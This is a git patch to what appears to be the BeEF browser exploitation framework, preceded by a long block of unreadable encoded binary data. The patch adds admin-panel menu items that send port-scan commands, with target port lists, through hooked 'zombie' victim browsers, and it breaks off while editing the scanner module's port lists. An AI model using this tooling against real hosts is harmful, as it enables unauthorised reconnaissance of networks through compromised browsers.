z)nm@1s0fE<45wqwG=}q)2pq}L^A%oP3UFPAAWRRZ>hl~NAy}ygR62%%Vuq~akXVgP zx^BHY|6r_5g>P(X`8KtFZ45e2Ac1_|#T5dRXpjx!q(FK2D*X7|2gtDrEutcFoDsYq}FhxeP=egT_gfr*C8SZ80;5ueQ!Ez&Fbks%A zCTfEt75ybePkDeZPM2tWrN%8=E^*a{=h&Is!83Lrt=PrL46cPBkYv3MMNfBg07=?) zH;lV6ok$Ty;7Zu!yTn3J*Pt+Dm0&s1*jkOelOP?J^#ujK$LA`FqhX9RhDD=sk{BTr zQ4n!XJR{_5Dk>B*+_`jc&o=R!VFXxD+fl3%lWChTs$5|#C+=11BhJv!V4s67*NhT<($SOf2v3#eh`A(qmg}`V_5Xa=S zCJZ|)1cpK}o5p5CTCZ!%ax3J0Hw^RN?zswpKY8*zwMK`~Rk#T1QNp|Tj_|JQN4fXI z`x(r6SYx|wbwd=!1YyYNV2L~T4DiKopQBZY@qHIgS|tnGy;+&!PSCLX$&CJQ(80MR{?}7o0XLorMyd;4~jL}ccTFoaFr#gXZZM6 z3;f)h=BONNQ!b8>aWf=9Wg+6n#=pV8R_`Wg_d!|kmJLtPyL^%cWn8Dh{>mP7A>h(- zfS++vHwb`10Ky8iRcz@G*gfWQv9f{QY=PkD}r3`zVHo0EACiaY5T z%dI0dmI9x%bB1x>&@bU)tHa1xfxZ11zBO%G7En-%k|Vg;(HsgTFSZ56YD5^uv^|%M zt1tAdGl! zqCylU_zJYvXq)B&c}2U?001BWNkl_1F9Km9B zfb?Sm<&!rd8wR)I$P7C-@4&H=L#K}s;}Zl4p5x8DUnTEXeWT|mf6v72 zIuy%DDUn)t-TtZv=(Zt^MfD^s&fmf(9{oJ`?+vL}ePXS!#!w3~ol%TG%Ck|MjIRi^;e4gT}oEw;8+miS!hXx_9U*5m?*)LGfhA+x#D7z z9IiB2BeA5fBH7NF+B7$8+swp#%+4*Fxn|Q2{_#uy&eX~RqeELMXG_HC7!m?OoB~X* z8v1xODYU*4+um{{r1H}GU#yW&*4}kXITLqa(C5F>Sm~4G zbGV&J%=|^Bm&T|zGf36Jl>wK+0c>Fy6US(25Uxb8R>xiNOA0|ob@KS{R4RIrdI4$E1C~s;jwKEdBU#+wO+5U>88&Zwj@!3XC=Y0smo0&D@sy<*c931f ztE00VZe35uAHz`%I>sZeTL$wfYA3b8suazMI+oja_7Mv~&XqXQ;&~Bwj2D?~#RMgb zqgr4DO)ZIyL19>5cFc zSqd4K$m&#qv|(wb2@5TL_Q&_|XFq-|KmX6qGhNmA8I7Bt0Xc%zUiYj3gNO#$*?WM+ zxhB_b+r!-K5;H4{G@wsQ~CHls` z!j}FTjxZcH(Qfs$as&~jJho`0*SW>G^v>=fJl^BGS zSdm(TM6*YU77z@y$H7>L?l0;HIq&9&vUN z#}?N~-K*3VYb}=+6E1XJv6uJBxQaw;luSE|0*NpdEd)ZQEo>pXsif?>YAk1~Z3@1J z=eZ?e2-!DY=KgJc{LT~SS!zYxv!$PY-&=cr zzy7J`_?vH@z;P84hrU7<3k zhBGVkY;gNPDJqQ+VCwrSfKD_(1qnh(q%=s8re~6_C+PmJU8SXH+YQ_Tq8O`c(66vb z1))4t-!A^;x$Ak$j>Bx+5FI3_b7RDH7u6GC(%H;3zY-u~i{mIn zCjAV?q{|kJwTNyHKy+QVv@fHzUuL;$gOm=T0nel(+uEiGp|Rax6r@R+y-c`Vg|0D{ zpq(&~Q9Q6~gnv3X%?tH5&s>TI;;A4*-=lQ43AqM+!eGeNZEHrLFdO4J%NkWZ3pxHZg7dPx4 zVyJ&32aX=W%Xob7fu8^jN6wt5*>16S^A@HW0ihN2dmd5J25Vk*-oUFAAPPDFlg8TH zluSK47B&kIskTMNBR;CsxZ5R6O3OqvMJGP5hrnRoIX038fv5&O5f=ClQ zn^g_*=)BYlMgm!(<$V?!;)F z?o>={2CX}w1f6P!m1vP#;L)D;80_ok#y!`Nricz3)(`SG4?n_UvxB2tjCQbEk!X`3 z#P?T#PS^%G8OIS)DMXwez$8~KY&9gT?px_TFKf~b7;98$nOYrEU?UK29dFw>t@a3K zmmOv^OZ-URr5%he3g8G!Ju>9| z47)e>;w!<#N{3p<;;HnrFIAi5e3zfUV+%iX>!!4I-MyN+!~gi)i#&IJiNv}%))2Qs ztkxiW64OCY!I3o*GlmUfKKqs9eEgSh!f}TgA776U(CKu@Ws58HAlm@c~53fEzo3>?FTS%))A`Lcy zMAvXU2Q>z*l|erJ!WM2HIYYbMWFgeuHT?!DWQtzdw11!hWergxsV4;@mFGQIJ;j~l zNBOz0e1K~=*60(H99h^#Hk-v0?bNk*i#_IFjFf<0js6)i6Q`UYe`(uLq`hW}?pIQUg}neEN6Z%$-|D0EldYCmcR~ zWRjox*i+=CVxTwArS2jKlmg|XmL+^VF-d63pnYu8;3waDJD#@%ZCY4uNVFyEXE;51 zo_~MhF_FcSw`w+h80E(a!vCc7sL4aMX@#ycojW=u^ z;nY%%OZAXXzc|b1Uz|iFnsxaczR*lvT*S0P$hh6vj4m0|C_>SLv{jOhp|CE;d+r#< zT8$Jwo)giE0>VfzSnkEo=2@tir)fyXPAm2mUOct#>n zB3;L>q(a%`6=fl7S$0|$iY|ZcN+sz2Ov)6=5&|JxSW)8A@;bJ!n_-{5$R|(TMl2Or zN!ZpPB)Niz<5-%>01s^YCOc~X#MDHIb8eQx_%`+oPBL>m;Pl)8efcx|So!0)JMQIF zYa{1QoMlT-K&yNUhbG7Qy}Q4}H_!Aj(b`Op7pGbEE0y3%Eim0E*R29pLqR7_XoQwd zGh#)z*f@~yw$Tk?*x^6_pJ(~}iwg+H<(+Tb&CbmO{O;o?_{`xsb`R$H(VYXdYP}r0 zRAs)>VPT>j7VU zc0bzj=q(lrBakRs%>G4yaVdA4XP>(PRh;Ib9Z!)dWqA1T z9T1*pI3F;$@=Z=o_v04II9`)O7aJ@@gWNkfM6t0zE9%gksd7#B+dMRWm}5PQG@8>~ zGk%!cZg@Q({rV6KdK-OxmL$161Gy@5amCm6N^R(d0bwlFFkRj}miM^px-m8u1)JAh zK0Ek{mnQk#6X%fYhWO=&_OO1qm-|2RG#6(Zv}-N=WDx)QVG2@m?otIuxu}eXPO=Eu zwR|I3b2Y|-6_{icNfx8$_|T_c;EgwH?!0yrODpq~axP)y@QoJ_un@G^x@kSaRm6e7 zBSWQ92YBJN1pTU$Lvug+KUUxV!-Mxf@Y9WIiy(}VXoO9eS!~nlBt%I>7-`}pPFY0S z($nja_g!Wd+Ue8mu1QB5#y9qo&pG%`hN)_c13Y@n;fBmfOc>CSMGVjm+gK&Jb^914e~=)IICT0rfi);A8Sd>TP6C#i zZ5(MSdNua!8D}Ed!y^~=f+YNbVIzKJM#+_GbUo~*;MsU|ZQ zmT)`=VFYm;V#6?X{o?Wp8cbSZTbrce01J(T%^Q8b@H=m3YF_i9PkstF`3`4h+qn4> z0|V=kUWsh6gtj>bvg>&Az+^NzJ)Z#xzVbUSllQB)g@UdLy-d) z@8kJDp60=QFVHtWz~PzqKt^(N@JZghZVurNGq>EJ9W;>^GERmh?r`|*JlocLWL!mH z4UST*>*=MK&5=Y7q1Mzo0kc7Ysc+5ElRd?K!;kTt{YB5=JqRj`;GS8A9vec|MJHM6WN{+~@M_dCl1~3n1Y)-gO;Y z`!am~*c^wa8q^kRNJo+c0k#!@au9Ae>050uS<)KS+OC2cunLr--bncD6DMdzF<(Cb zyEhm{#>*s>DQ0?!jUbLRxq?r=C&yx~@uFYIy_N&`u5$qZ-1;c(40!@T#F zF{-VAj5WOPmN9;F|6?>RRFMOHX;>)~AnI0UYnBh_bdzYR1dtNb0R>C78jl@0N7e(k zTw!8i6C1}mL^?gyJeT(n%BR1aqq36FsWu*eP3ga;0$jc>%`VQLx=D$hN-3nW#M%(W z2~sMQv?!SpJ(UnBEEvIJHAK3K4gEe-%Wa4)abh^ptblR|W4fpksas2TDRR|lo}D9k z9?kX9Y8FYF4Xkl^ZecS&we>g`XDc*ygb?ZfX;v$GC1{6jT0w_)&?2!N8jUJNFGn$# zMW7fQSjVQZ4G3X4b@nva0`ANyKJ?%ozBzFd2PUe_tw0dwaa@BE0l{L0e1D$bfA6*I z87*+rhIG5fue>S4>`FjB<5JFLiHjYEbqd2AJU!3wP?@j(r<)k)$x%uozIbqw7cVYz z-F1Wf)u+D0g~OMSqw7IQ1P&xoH}d z_5gc#XpD@hw~BOHMLO*Q6SFlC$rpZb1-N2ENUO5+XrtNMnaOx0+7QN)P6)0eFpv^;KJ#omt}K=`&QS6>9AjIzfZ+(Jd@4 zEik*Vz+itr*-Vb!-hP%U9hM*cI|lo{!r9Jtq&Lc)8y7gclJ{jqA3L@XV#*whL>A@Bdl zlQgFrsO{U*XA(x(B)DAi(S0VXf?tK8yRu(8hb zS0GzZxVc{DtEZNM@BH8j@bV>5pPHJV{N-&Mwh?sFcCMFk(AuD+#*q?7rQJA1*D6)& z2~h6k55HC`c71DXki8kkuU^l^BhwHYE-p7YcxH}w+`5UPw5bb}5jIxTTM?e?(3k6F zsk%U`-C(G1kX$y8CloujtY^d602@Yn=__ZsI5|hDSmc);`oAd^M)}(Qhxwa-{TN42 zA7sadJ^aGEeufRB>p6Jx2v2e%H9 z2p>5%(!Ku}o9NY!6>CJBE+24>hqsy!yzJ8H_?Yl;9S=u1>FB!{0(XQs6OeO#Bqibm zR#v7T!+9m*@x2t_<=0cwb92jkwqM;Zg~U-7M=2afkt7O78kCecQeve+7>Tv|vde-s zaOeua03?{@He!qA*0){7{zr}w&Nunk=a2KPqtl#Tim*nd3m$r!WSlx3J%lGk4!mq6G85{ncTDHM)$kP?)1Q96g!F8M-p7Nt_FPn96SQ4*~r#z>U3B<6~MX6cqMT<#I1_W)QX9zDj~o?&+H z+ro(_&qEY(>TDf64}5{>_zVx8B5YTQO_^G|$&bD9eVjUfhKcD@w1Xwa%NzK=-ugaX zf5RQ@TECq$=vJ!LI+2dZdwKf%hPmf;_n~dT z>9Z5mssYU&%~+w#rJ3V=QFdAj4}O5u0^(bd}jmBQ~nztuAjlu$TA;V79J zp^`XC;CKSp5oA2Y=?kZqfG_?~3Si?`4G{kInTc~B+_QNX3(*RWlDMuSPEt>x5`!Zp ziIga5(5uveD_q-UZMfnlqlA$=x8pm4k)9m<$aW^rE)j+a`GQBSA+Wa1`)--x*#04I zxb9ZAj_>B7H$KF($M$pd+!3DI|2VGW@$*0avk2wTNkYy~Uu1S+jvbqJ;d=!P5lZA( zT3Mpjtn!m@eHVp%o?@7<5b>}9vVY8d89tH0v? z%Y@SXtDA7I^=6bp$*vNp)mMq{WvI96G#2Oo{d)=jH5K4Bu0v~tP(J(mP$6H^w znXESemA_`{&_(?GFmJu%L52s0IC$zsc5U3w=HYQ3c*9$`xG=@^(gFfYZ%>)|#cBTH z?>@?gv5nky^FA`3$9&}iOUpCtz4mpCtlPMDW6vLbj^*WL{^d)bBIvAe+f6sp30t@` z4qL}|^Zs}KG{W(C{LCzii#6s}T73G&8ICMj#4N$JvF76&vEehi(vFe ze|QDZuL?Q@3$uSdH#_^$zETe>)p{y?H_ZcFEzw$`rB1_vu{ctZSpD)?w%UB_<^#g> zuwl&epE<}2`_Ch@9;TA8A`MTxRO4gs_qgzMl`n)Y$cRUu`8rXodHcO@!}B~`M^eZZ z86Ftr^o3K*EX;A&&A0QR-~8X)aqDf&EzI)OZ#{}JhQ9tj_UyQhcii)K0M1OD;#dFh zH+lNVql~ZH!tU)`dGLXI7$^<1d1wziH(d>AtnKjRslVWXKPr&z*}~>w&4au9iQ56k zPfQYa47eFY9AJ}G{+Y$hr6sR$T=248H1rj2ea+%u@x3+ScdaFDWr7emQl=q5rWUWH z#8nE%ac~@ot0c;CL0T@(OdbLb{qPF#+SlK_aPYt%Jb3?G`)Z8_#-tkOx(cmboW$Tb zDxGsPCf#5uM3+eU%A4-KPZES9vBeyAv4JTS07Wp-KyD1!Q=FzgdNtQwn`3dQ!kLNV z{M17~LAlh!{K7mvg(4X@L@CLpv2oT9kAP4J;qu^}@5b7gAZ#$ZI7^bi=)f4oY@TMY z%pd&iAF)uMb*VVgD znv1Q|KVcP|H?JHh$$ zliYaCEzC?c`0V3fVyHC8JMOy=FOwzX_Kvz(c~!2Ux|5G8_(lV>RUK4)hpXvdQGJoq2bam<&#^%$T1`lq;a?~m|? zo8CaVub1OzPjdR~1rDD+KsN7DX#})_2sh)<*I%UEJIwCwd#Kcws4QOK1Ao${)3=M< zV29uR(}a#Ffn4J5@h=b$h8$YHnyK^SU_khVbjN{Q8%=)2y>_vYRtMV-K}ba2g-mzp zV=Dw95Wai4T8d(95F-jcZZ?x5prpNuYd7@MNubfuxX!Be3reK|a|?4crzijL2N6EJ zMmI2f*LOdX-bUe{KKQQp{hCD4Y&D4^Lm0($Ix(G2L>Pv2qJ%Jvh?9gk*2G$;b943z zXtT@f>!Kf!XwV5(hY(xL;ta#PU!c_2M(Z5qLIxd%1WBEN-pw?F8kP1W!`?WR+7xpu zb;d`x(p&0hV(JWodq;TSmaQB8$GI>+ zPo-YNlY%HVgh8D{0{V+Zwv}huv@v06*&&}DqD{c$EL0lP?A!MRuH6(eUCHD6f=V4~ zt(g7Kz6wbJ3jhEf+(|@1R31DRyRbxg*8qR^d-rqyEgLB1ih$vtzj}mU{^(N-lrsF| zuiZ%|(uuu zqp^6F?PE8vt~f-e9WdW$BRv#Zt7>w7mSQG@=eoFIM4WhR8PJ&e6bB9na$W`3b+M++ z=5;Zbu2IZOOar(<;tnE;5H}O4(_uRLeckJ8B!%v)~m{n}wxQ=p8FewdZ z|LHySm(y9ot;4zQat+JwjU~2?=Sizct& z=)>w1-YQHiQ?9x4I6s|Z>mEtHCQx1mVKqgOCC>Fx&KBqhg$}Cp4-C`l%yMD+9M8Qp zOD&pbu)G=1FLJb1qgG#`uU=&Q)Bq_PnYo1u-#-2#21Cww@jZd> z^^nh`W8aSBpyP zv5#^|F}c`AI6j3!21hwaDd_L%;q>er;nBx_>3a(AHLf4l1Bm3@L0dg{@RyEm+4_|| zn?{(OTgGuD);ir;IxbVGyGfqCqWp`oT|h)ampp1Qmz5x!usFSe+J>W)2L$yxG=c_N zDwI=VC1^63-^!WhH))y-S>qEf9zzq7bMr)<8c`gO?HNXTio;X;88|wER1#xcj!&QC z`fb~ptFCbJ!~wFthf)%RMkxnv6RfbbbO+BUTCFOc^2n(FueUP~vg5e#`=^gN-nBP& z7biggyeWzyVM-K5>ZD|e))AE)mlY<87M-2GrNPwT@WO}OjYk3Z{FLP{(gVI z{`Iea{p&83Qi;V@i+a?>mx?adb;pocEQhC$W36F)c#@C2;}hJn_ZHH$PGnNFa!IlP z=f#tPuYdmlKYMzbr%o)gINxPta*#J)JHdmGJe3>b&o*SF+gbvbYk{ zNMK~JOez#gDXNtciGas`{we`&4gz3;Ob#{^>)v zfB5~~dYxvwgH2qlKrf2vbrX8s9=#}{7bWz1u`>!2gE7{ngL7fFklMA`H`y}_Q^TA( z$eV86&*-q>_+pB$+{~lI#*9>k@dM4=;vBQ>lME&Uc-r8nJ(_U`fg|9sq8J+Z)U76=su6`5SCb#m2tM~G{tM{Umq!;z@wIY?0b{hniTE(r1cFXU6 zj$a&JWPEItxy3d}%dOXLV%O#xvr8TR@q5qm?%VdVeI#Uhxr;%u)CG$o@I8D_F*&h` zA3pj-^88mnF=khuT`A(U9*F&Tzns;>Wis_6YZecF=)T=oF5UK~*9Xy5M3jP;X2zeN zVy(9};bPU-vDW>I4InL8u}0VIPpTW}ZP&5y5zW7N&;8W=Dy_s#Q9~$NNr#jQp3%t`ynfx z71A_ipjsn}yF_tJH%>4rAct}v63LrXe}5S9^}yU8K!>p&EErZ@bl_CFD-Ds1Q314UfMa+nY!x>AKt%h z%h#^iv6<;J^PnX-kRD^^S`N^9+_`R{+YEdu5gvRDOS&+A@T8m{s(n~GfB!MKx7lt^sw6XvcDFk!% zMXZP^t1`otK_-XCu{I^B46<$W4mzDBPMkPQV#Vr8=~5}$Q3sO^Vx?({^fVP6qJ=<8 z4{H#ZlV`4%-KZZUDaay{~iN(9_)UhkwHDAOCG0dh$W`Ts+Bv zgAIiL8~le4T+8FnPVt?44kL$0!SfKxIe4^|Y#%MrO)OC&@B-Jj_p~MvmXcqhRt*TU zYh#m}_}0BYZqI)054NYKwFs0mnKBf7ko^RB0p2fx0J(ZmS@D575SD)RQwKhL`-gU~ zEG!VUJ5;jNaLu-%-i~OtB08NeagxxB5~5yAk~k+(Vhl-Qu!$wlN0%Fq2oQ@^_FQ)# zH|(C_%qfZT6{gpto3s$A1>s?YK!-KTr2&?j3(Pkb>6#t_L0S838r;N9SKr8GyDsOh zpWMTf$9~ChWgGC#nrp^GE<*rVzSEIT%ALwcA?a3V9AhTkb^_ud#l5@N=cNE zguWyUeUO^a*La?fANT};#`m)OJ;CP5Nq+X^vmChdzx=vcKJZOo1eXHV6w0eYfE;{{ z3sWrtGlBg4C8cfenulMMgh$u>kqnIek31BhS z?Xk9?2|%PF_RI{ozViX9A+*|>)W*c^6;@1yr$Poi4q0~Q*D&Pr=MfAHbRO;X&+En6Jt`BSkl-SPx_1w3=_2$z^0s-Im!S0&!6T^*WbeF z#WS3qpXKne=U8ei^TabxaNybf#5QJf>khi6%l!NzLqh{--|*1>EoikD5&X8R%m zUO<9=yf+ROdm#ymMP?*Wz#h`hQM4joHT={1mqpaf`% zRKi8_Xocr#Jgo^ljpu7hC7)8s$Mb#sz{AfZ-}fB&BcmfMwmLlg_0RnvK5_S-0=s~) zfQ2kzbY9zw8G-%AUk-l1Cb-JBkAC~k~MK0cc4L43~DQ#5IVZ2D0bgQK?m_mr~*@h4wVQ@4A%Q(|DeT=V|;PzvdR+8XO)5 z9q`>dKXW*G`pcgHHfQzUz)60NN!FI0UoYUrnt-DE&!yhOwf`Yd$x01pgf#TT%^$z{ zW1qb3$~_k`Gj$qcQ`h%T3`s90HZf6@5=Aj_96N(Bj!Alk$Y%C{v94*zGiT_t<|j`+%F4>8@s)eO%<=id zcm$MW8Bco%At`x2&8SPgyMoLlexx!?wOq!S1f_hIn+@viI-~*}X^u`GKuCcMYg~WP z9tKKPgzce&0qVV&X56J((JZw>4n6i>7zR`~TRlx83-Od*2EOMh{7e%l&%^gMzVEc6 zrxij<28OEWQiZR7@iTMXeSh(Lz)Xh03eW^vKnK?hM7+=#+^`9FDc!*SCZJynl!2jS z=7G;Y@ag|rEB~iIyXE3-TRC%T+D#A@*|hRlAw;}7!&qif#gU4Uu^<+LL>gDo(qfGv z>P7gWNA0Q#$>J^C^7;|HvSsS@87lq&bF)YI#@*j15C){)7|#;;KD{I+^g>oTElNQNUul-xb(DZ!(!(0b=Acmd^L!oh|u(kOz0T2p_2g zwSgL?@*rRN(x)5UeSdLB2JYqze2+Etuhzlof@y#v;JNgdSd;#NtPEzKCwlAKKlZlY zzvJ3Vw{7Ok>1mf4%UFytP8%eKBu-qnFiPBU5)(%TW86@(F@|o}l8Ts5eCRrMZmBXe zmvZ;M2N)hX$<1%rO%e$n+5aq?$HtkSo8p0|@5lE%c5bL<_;d@GyR*%2)3Ebh~^1|M*Mb zI1psu*R#^dN*m~MwlSFJa3SBnQcqyfz{oX0v51TqDw+D>m+t-Zj%j`DPp;p4<&~U1 zd5SzX#7*xKcv7t929A|N#R4r2v5_t*Qe=?I&}>EQd+az{Ms{=L)GQAiN$55P`RcbG z=8~%yc;nuSI6413i>)qK?7WsncZK8g)ATxRWY?mk#UfC?pz05km|hmp;^s9NV=!2h z){NH1m>Atk=vR5<@ByUMjFc;seV@g+PAUzv%>^dP6G-VHWq`5?qSql!6=6B$2RL*W19vdYU9$)$F|7vs}{>#q-^S~HR<@eY5 zOEUak2?5Tv6@AblppvH$l(@)N0ZBf6T)5cwSV^Qx z(6J}JsX@W3oTdTa{qE2Q!XhsWrJV;p^aj_J80-152fAigS3`fc@uHkqupAfm-I*yix4S7Dwmo@q;!%Pty3U8eCP9jIvXAM;#YtrU=%0id0oFO!27qCN`U^pWwF@4y$6J5dH?qw{j1+;E&Qub zzWqJ#dKXIzbF>>xgiz#}NQIDSAzda>B}lYF#Riqcc*@{;iqPNW{0BC1`KOFwu&n3| zZKLu02tR)CG{67Rkf#qm#i_aDjE!DI(+g=OT}rxymM;5wy?KUIXxcU+O(PHrCA1rs zP!@qgQDU~fz;fI`plBuuzVuKsaBKWX52QzmAQhUD9v~jJw3d$2>L|M15o$GsQa+yc zGA-bwUV949&uoEgmX%c5JWEfpb?a7+o|xvI&;IwL@v-mz15Tw6;*7jpt=mF9uj}x+ z&;-~Bc+*#M>od*>-~mH6o_gTuoxi>Gh3WtH{@=X)b}#e;7Umbxo}gOxXtiS^DUn7J zONrKoSW9%QND_lK3BES?zKc4F6N{E9QVKft4zImogm+(e6FUYMIqW}2Vxbqcsgwrk zv{vXP1}QC`@<~&Ju?C4ERtjkZk+3MCsK^kdE1&`@wJOcJ1?eMv7u#rsL`hBPRZyyi zl^Q8r526%qV_=Kn`0NhKL4{J#L#Ys@oy2QTx%OXW0h~&qv_NJvdrGA;W8<5+|G}T| z)ZhR4+aZ_oe&SvcBwO)W$ znYz#7{6|N}5WeQ`zV=nS@ZCSXCr##mo&oRS)P9WX-u2gS!kW;XiwGN%;-&fl@@`+= z6DYIh3mCxl2&&n68D|g%Sy$7Q)jsQOaFVJxBt#>;nKMd zWMD>F>1K7;!Wn^$LTP0r$^8I1F>*qjMSzz(7El}r%KQC69|@}K5TKmh=NCwjxCaid z4&VGo?|Rq!f4#JQauW;l^Yq%?EL=V<5FvF|dUkG%!NfLmFd3{hSR?7g9g=8?AZ&BR zB`d5fuDJOEdXR;s$DQwAg(Pu^wH>tZ2*Y8N7jU|>NSs83QZQ5+ zMGB2c4aP1bWSPOiD(%i3%gc4PZNGvO&zD(Q8m3zFP?~Js-r8V~a|C5+_M~QPVvHzB z`O$s%aq_Ou{L(D^^4<)*3QnSP@Ov2n+8NkI5;P0ocUjXCxrTnxv4EE{7?gKA`n5ob zHJ?BZeqKu1J-L%T_aX{hAGW5)ZhZUB+kWSocfRwjm?UO-evu?G84)r9SnF03$vlHe zw#14}+;M6w)(X09pNSo9c5axx@KEOpDNASFt= zs2!=Li`yrq-aLtvFf_Oaqy~`^h6++evmuz7324+qbdaD#nbKf@%EH8ybc(tcLRsBy34aF=0N7)uSbCVI0wIfFz5w7fLBU@eh**{ zW{?4$OMDJ~ex4H`D10aXew4kyrT%L^a_bvE_;1Fqz4CIJtvdDPW#Vk1g*07TV$Ch4 zh$Dq@lTqB~mR?sg@;QNYhQ}X-?Mbs$~R?CDXok_P_M?q!%_*Kva2q`F+D-4g0GQU#i z```YSS-J1C57^GppJbrb3c%&y=c+$f|2YAQ`%YGJZBeub)-?)W2?5}22Sl+c$VreB zp-6~a3*=3K&zcL<%YMHFNa0Q15Zv_9o8NrvZIwN{wv+T?mY0`_<9KySfz6_hZ3cR3 zUH0&tB+W+3?#mVtD#b>S#+F9=D849Du1#RF{D7&oh}Fd)aHEi}0!TfVu1yLJ*}$|E zf+!X|_e`0Ap$fk5qL>A4AWLKkvs{8}mnK?B9PlH<%-0({v~M3%Km5}EWcHzbIDdXM ztB)RM8`HV!FRK5X1Z~b%`@O>V`i(&@1ObX9=no3fS;R?r-QEdbtG1Ya`!^ zv4KUKU_Bxf_x%LuCqZ6{L$lwWo-3}u;dP9UkKu`wZq%dQY!Y?XBs;Z| zpd3@KCfGP15OaWAA;@#Wi@rPvsap+$vz48DRV5)w1xs_zi5{XHOI&HeG z9!VNeEhi*do?Ru=7kbXqvkzP@>$O19V$~@rX|*Lb4G2SzFboNTfNmT!GqcE%BhT{O z;}0(+$9{gu%s=u3Zq%-elXjo8y`&pSes1*_+yCNuRJbq6j&rA6f4krJ28D|khyeMP zYl33$AlC+YSFuQjoB+jZUZE6;P_!}f6xs=yGYQx%yva-Smg_GIFS%~##e1%*?bx}K zO=F|@VMr~oNEy4plO!QYV$y7}rfiJ&tYj!k0K!GzfXjoVvuCbjcbtPMs1Pd&Yf!P((Q6`&z7OhyT``2PWYpvqYMuY zQ5&ie`fe_rr!`6{H!%eumDwuZ35hZE;*@Tu%kuIv(^GTQ>vhgdA6d3j$4;BMLnrOZ zk>}I2bpkg^*JF*?c|X1g`g+p8k?TBK=eS6ie*gbV0v|360pNus$O+JIAQr*vZz6J1 z6hYs}9w-t(_8kk(u2{iZxZ02q)e#Yl4U5wFm?%}N!Y_xSJX8{X;AiH(>-w2EPFpJx zy=E)zby{g>u5R1&bE%zQ1{PU!yIR%)W3mj-XG!Bm17!WGe?3jme?95@jrD*(Z}8#5 z5n%Q9zT;xZSieSCj||1q4}SmsMGYVe``rG>|1Yeyjs1}^xy_Om?xpWLuohIAYn$A8 zmA_vRgreWQNP>RV-%o;mpo=4^8;$sFB=xLwzV3FR2>>r7LB8LpX()!2uSbk?0lyIe z){9Ka0qi&JU&?T4f4qa`g@#wL^b??;4C_gCe{->snm^Z&?|Hw|g_s=rg5TuqXrO${ z@}aIie7-b8ao?}fHv;;lg5Mu1l}menB+Yuyou98)UW@?!O~86h!g@gW@9jGO^A!QV z(RQIi!tw`sF(MSz=SEFM|M7a)&IkM)^!30$mzwK$q`X`btVfD--LsLTzbe4z+l7n? zgtN6lex7eR5pojrOX_+}MnAAQ3B)>|Z3KS5?;=0$*IdQp^C7@`WJoz1*nBGVdL-FM z!p{YKf1SSK?Lrd(&VImtjZm!UVtd@LuGc$%vHiJJe!t|eX9V^?XK`QDV&_AK_4fVO zDD3+If7OA{w^xGz#jU?-C|-lLip}rIwL|fIJ&8V_Lf Date: Sat, 31 Jan 2015 21:43:01 +0000 Subject: [PATCH 15/19] Add port scanning to network extension --- .../ui/panel/tabs/ZombieTabNetwork.js | 57 +++++++++++++++++++ modules/network/port_scanner/command.js | 26 ++++----- modules/network/port_scanner/config.yaml | 4 +- modules/network/port_scanner/module.rb | 18 ++++++ 4 files changed, 90 insertions(+), 15 deletions(-) diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js index acdf14c82..e59ee63df 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js @@ -506,6 +506,63 @@ ZombieTab_Network = function(zombie) { } }] } + },{ + text: 'Port Scan', + iconCls: 'network-host-ctxMenu-network', + menu: { + xtype: 'menu', + items: [{ + text: 'Common Ports', + iconCls: 'network-host-ctxMenu-host', + handler: function() { + var mod_id = get_module_id("port_scanner"); + var ports = '21,22,23,25,80,81,443,445,1080,8080,8081,8090,8443,3000,3128,3389,3306,5432,6379,10000,10443'; + commands_statusbar.update_sending('Port scanning ' + ip + '...'); + $jwterm.ajax({ + contentType: 'application/json', + data: JSON.stringify({"ipHost":ip,"ports":ports}), + dataType: 'json', + type: 'POST', + url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, + async: false, + processData: false, + success: function(data){ + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); + }, + error: function(){ + commands_statusbar.update_fail('Error sending command'); + } + }); + } + },{ + text: 'Specify Ports', + iconCls: 'network-host-ctxMenu-config', + handler: function() { + var mod_id = get_module_id("port_scanner"); + var ports = prompt("Enter ports to scan:", '1,5,7,9,15,20,21,22,23,25,26,29,33,37,42,43,53,67,68,69,70,76,79,80,88,90,98,101,106,109,110,111,113,114,115,118,119,123,129,132,133,135,136,137,138,139,143,144,156,158,161,162,168,174,177,194,197,209,213,217,219,220,223,264,315,316,346,353,389,413,414,415,416,440,443,444,445,453,454,456,457,458,462,464,465,466,480,486,497,500,501,516,518,522,523,524,525,526,533,535,538,540,541,542,543,544,545,546,547,556,557,560,561,563,564,625,626,631,636,637,660,664,666,683,740,741,742,744,747,748,749,750,751,752,753,754,758,760,761,762,763,764,765,767,771,773,774,775,776,780,781,782,783,786,787,799,800,801,808,871,873,888,898,901,953,989,990,992,993,994,995,996,997,998,999,1000,1002,1008,1023,1024,1080,8080,8443,8050,3306,5432,1521,1433,3389,10088'); + if (!ports) { + commands_statusbar.update_fail('Cancelled'); + return; + } + commands_statusbar.update_sending('Port scanning ' + ip + '...'); + $jwterm.ajax({ + contentType: 'application/json', + data: JSON.stringify({"ipHost":ip,"ports":ports}), + dataType: 'json', + type: 'POST', + url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, + async: false, + processData: false, + success: function(data){ + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); + }, + error: function(){ + commands_statusbar.update_fail('Error sending command'); + } + }); + } + }] + } }] }); grid.rowCtxMenu.showAt(e.getXY()); diff --git a/modules/network/port_scanner/command.js b/modules/network/port_scanner/command.js index b10897376..07f5c7c8c 100644 --- a/modules/network/port_scanner/command.js +++ b/modules/network/port_scanner/command.js @@ -9,9 +9,9 @@ beef.execute(function() { var blocked_ports = [ 1, 7, 9, 11, 13, 15, 17, 19, 20, 21, 22, 23, 25, 37, 42, 43, 53, 77, 79, 87, 95, 101, 102, 103, 104, 109, 110, 111, 113, 115, 117, 119, 123, 135, 139, 143, 179, 389, 465, 512, 513, 514, 515, 526, 530, 531, 532, 540, 556, 563, 587, 601, 636, 993, 995, 2049, 3659, 4045, 6000, 6665, 6666, 6667, 6668, 6669, 65535 ]; - var default_ports = [ 